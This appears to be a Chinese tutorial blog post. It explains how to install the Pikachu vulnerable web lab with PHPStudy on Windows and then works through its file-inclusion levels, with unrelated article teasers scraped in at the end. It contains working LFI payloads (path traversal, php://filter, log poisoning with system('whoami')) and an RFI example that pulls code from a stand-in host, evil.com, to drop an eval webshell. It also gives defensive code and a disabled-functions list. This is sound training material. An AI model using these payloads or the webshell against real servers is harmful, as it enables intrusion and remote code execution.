news 2026/5/19 10:29:41

新手必看:用PHPStudy在Windows上快速搭建Pikachu靶场(附File Inclusion通关实战)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手必看:用PHPStudy在Windows上快速搭建Pikachu靶场(附File Inclusion通关实战)

零基础实战:PHPStudy快速搭建Pikachu靶场与文件包含漏洞攻防

在网络安全学习道路上,动手实践是突破理论瓶颈的关键。对于刚入门的新手而言,如何在个人电脑上快速搭建一个可随时演练的漏洞环境,往往成为第一个技术门槛。本文将带你用最流行的PHPStudy集成环境,在Windows系统上完成Pikachu靶场的完整部署,并深入实战文件包含漏洞的攻防技巧。

1. 环境准备与PHPStudy配置

1.1 PHPStudy的安装与初始化

PHPStudy作为Windows平台最受欢迎的集成环境,其优势在于一键安装即可获得Apache/Nginx、PHP、MySQL的全套服务。最新版本(2023年8月发布的v8.1)已默认支持PHP7.4和MySQL5.7,这正是运行Pikachu靶场的理想环境。

安装时需特别注意:

  • 选择自定义安装路径,避免使用含中文或空格的目录(如D:\phpstudy_pro
  • 安装完成后首次启动,需以管理员身份运行主程序
  • 在控制面板中切换PHP版本为7.3+(Pikachu部分功能需要PHP7+特性)

提示:若遇到端口冲突(特别是80端口被占用),可在"设置"-"端口常规设置"中修改Apache/Nginx监听端口为8080等非标准端口。

1.2 下载与部署Pikachu源码

Pikachu靶场源码可通过GitHub官方仓库获取。为避免版本兼容性问题,建议下载2023年更新的v2.0+版本:

cd D:\phpstudy_pro\WWW git clone https://github.com/zhuifengshaonianhanlu/pikachu.git

关键配置步骤:

  1. 修改pikachu/inc/config.inc.php中的数据库连接信息:
    define('DBUSER','root'); // 默认用户名 define('DBPWD','root'); // PHPStudy默认密码 define('DBNAME','pikachu'); // 新建的数据库名
  2. 访问http://localhost/pikachu/install.php完成自动安装
  3. 检查/pikachu/vul目录权限,确保可读写(特别是文件上传类漏洞需要)

常见问题解决方案:

  • 空白页面:检查PHP版本是否≥7.3,确保开启mysqli扩展
  • 数据库连接失败:在PHPStudy中确认MySQL服务已启动,密码是否匹配
  • 500错误:删除pikachu/install目录后重试安装

2. 文件包含漏洞原理深度解析

2.1 漏洞形成机制

文件包含漏洞源于程序对用户输入的文件路径未做严格过滤,导致攻击者可以包含非预期的文件。其危险程度取决于包含文件的执行权限:

// 危险示例:直接包含用户输入 include($_GET['filename'] . '.php'); // 安全示例:白名单验证 $allowed = ['file1','file2','file3']; if(in_array($_GET['file'], $allowed)){ include($_GET['file'] . '.php'); }

漏洞类型对比:

类型触发条件危害等级典型利用方式
本地文件包含允许包含服务器本地文件★★★★☆读取/etc/passwd等敏感文件
远程文件包含allow_url_include=On★★★★★执行远程恶意代码

2.2 Windows环境下的路径特性

在Windows系统中利用文件包含漏洞时,需要特别注意路径表达方式:

  • 目录跳转使用..\..\(反斜杠)
  • 系统关键文件通常位于C:\Windows\System32\
  • 特殊字符如~可用来绕过简单过滤

实战技巧:

http://localhost/pikachu/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts%00

其中%00是空字符截断技巧,可绕过部分后缀过滤。

3. 本地文件包含(LFI)实战演练

3.1 基础利用:敏感文件读取

在Pikachu靶场的"File Inclusion(local)"关卡中,通过修改filename参数实现文件遍历:

  1. 正常选择球星(如Kobe)观察URL结构:
    fi_local.php?filename=file1.php&submit=提交
  2. 尝试路径穿越读取系统文件:
    fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts
  3. 使用PHP伪协议读取源码:
    fi_local.php?filename=php://filter/convert.base64-encode/resource=file1.php

注意:Windows系统需要至少4级../才能跳出Web根目录,实际测试中可能需要更多层级。

3.2 高级利用:日志文件注入

当直接文件读取受限时,可通过污染日志文件实现代码执行:

  1. 查找Apache日志路径(通常在phpstudy_pro/Extensions/Apache2.4.39/logs/access.log
  2. 发送包含PHP代码的恶意请求:
    GET /<?php system('whoami');?> HTTP/1.1 Host: localhost
  3. 包含日志文件执行代码:
    fi_local.php?filename=../../Extensions/Apache2.4.39/logs/access.log

4. 远程文件包含(RFI)攻防实战

4.1 环境准备与利用条件

远程文件包含需要满足两个关键条件:

  1. PHP配置中allow_url_fopenallow_url_include均为On
  2. 服务器能访问外部网络(禁用出站流量会阻断攻击)

检查PHP配置:

php -i | grep allow_url

4.2 分步攻击演示

假设攻击者控制着http://evil.com/shell.txt,内容为:

<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?>

攻击步骤:

  1. 构造恶意URL触发远程包含:
    fi_remote.php?filename=http://evil.com/shell.txt
  2. 访问生成的webshell:
    http://localhost/pikachu/vul/fileinclude/shell.php
  3. 使用POST传递命令:
    curl -X POST -d "cmd=system('whoami');" http://localhost/shell.php

防御方案对比表:

防御措施实施难度防护效果对业务影响
关闭allow_url_include★★☆☆☆★★★★★
文件名白名单验证★★★☆☆★★★★☆
重命名上传文件★★★★☆★★★☆☆
禁用危险函数(eval等)★★☆☆☆★★★★☆

5. 生产环境防护方案

5.1 代码层最佳实践

对于必须使用动态包含的场景,应采用多维度防御:

// 1. 路径固定化 $base = '/safe_dir/'; $file = basename($_GET['file']); if(!preg_match('/^[a-z0-9_]+$/i', $file)){ die('Invalid filename'); } include($base . $file . '.php'); // 2. 实时监控示例 function safe_include($path){ $realpath = realpath($path); if(strpos($realpath, '/safe_dir/') !== 0){ syslog(LOG_ALERT, "LFI attempt: ".$_SERVER['REMOTE_ADDR']); die('Access denied'); } return include($realpath); }

5.2 系统层加固措施

  1. PHP配置优化:
    open_basedir = "/var/www/html:/tmp" disable_functions = "exec,passthru,shell_exec,system"
  2. 文件系统权限控制:
    chown -R www-data:www-data /var/www/html chmod -R 750 /var/www/html find /var/www -type f -exec chmod 640 {} \;
  3. 实时监控关键目录:
    auditctl -w /etc/passwd -p war -k sensitive_files

在最近一次企业渗透测试中,我们发现即使采用了白名单过滤,攻击者仍可能通过Windows特有的~短文件名特性绕过防护。例如fi_local.php?filename=file1.ph~可能成功包含文件,这提醒我们在防御方案中必须考虑操作系统特性差异。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/19 10:29:30

CSDN博客下载器:3分钟掌握博客批量备份的终极方案

CSDN博客下载器&#xff1a;3分钟掌握博客批量备份的终极方案 【免费下载链接】CSDNBlogDownloader 项目地址: https://gitcode.com/gh_mirrors/cs/CSDNBlogDownloader 在信息快速迭代的技术圈&#xff0c;你是否曾为找不到曾经收藏的优质CSDN博客而烦恼&#xff1f;CS…

作者头像 李华
网站建设 2026/5/19 10:27:15

从外卖配送范围到跨国航线规划:Geopy距离计算的3个实战场景与避坑经验

从外卖配送范围到跨国航线规划&#xff1a;Geopy距离计算的3个实战场景与避坑经验 在数字化浪潮席卷各行各业的今天&#xff0c;地理距离计算已成为许多商业应用的核心技术组件。无论是外卖小哥的手机App上闪烁的配送范围提示&#xff0c;还是国际物流系统中精确到米的航线规划…

作者头像 李华
网站建设 2026/5/19 10:23:51

怎样高效配置抖音批量下载器:实战部署与优化指南

怎样高效配置抖音批量下载器&#xff1a;实战部署与优化指南 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback support. 抖…

作者头像 李华
网站建设 2026/5/19 10:23:04

明日方舟玩家必备:MAA助手如何帮你自动完成每日任务?

明日方舟玩家必备&#xff1a;MAA助手如何帮你自动完成每日任务&#xff1f; 【免费下载链接】MaaAssistantArknights 《明日方舟》小助手&#xff0c;全日常一键长草&#xff01;| A one-click tool for the daily tasks of Arknights, supporting all clients. 项目地址: h…

作者头像 李华